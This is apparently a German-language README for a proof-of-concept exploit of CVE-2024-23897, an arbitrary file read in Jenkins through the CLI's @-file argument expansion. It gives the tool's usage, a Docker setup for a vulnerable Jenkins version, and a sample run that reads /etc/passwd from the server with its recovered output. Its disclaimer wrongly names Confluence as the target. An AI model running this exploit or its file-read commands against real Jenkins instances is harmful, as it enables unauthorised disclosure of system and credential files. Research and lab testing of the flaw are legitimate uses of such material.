
Dieses Repository stellt einen Proof-of-Concept für CVE-2024-23897 vor.
Dieses Repository stellt einen Proof-of-Concept von CVE-2024-23897 dar (Entdeckt von sonarsource)
Dieser Code ist ein Proof-of-Concept der Schwachstelle. Ich ermutige niemanden, ihn auf Confluence-Instanzen zu verwenden, die ihm nicht gehören.
Dieses Tool wurde ausschließlich für Forschungs- und Bildungszwecke entwickelt, und ich übernehme keine Verantwortung für jegliche Nutzung, die davon gemacht wird.
Laut Jenkins Security Advisory 2024-01-24 : Jenkins verwendet die args4j-Bibliothek, um Befehlsargumente und -optionen auf dem Jenkins-Controller beim Verarbeiten von CLI-Befehlen zu parsen. Dieser Befehlsparser verfügt über eine Funktion, die ein @-Zeichen gefolgt von einem Dateipfad in einem Argument durch den Inhalt der Datei ersetzt (expandAtFiles). Diese Funktion ist standardmäßig aktiviert und Jenkins 2.441 und früher, LTS 2.426.2 und früher deaktivieren sie nicht. Dadurch können Angreifer beliebige Dateien im Dateisystem des Jenkins-Controllers unter Verwendung der Standardzeichenkodierung des Jenkins-Controller-Prozesses lesen.
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)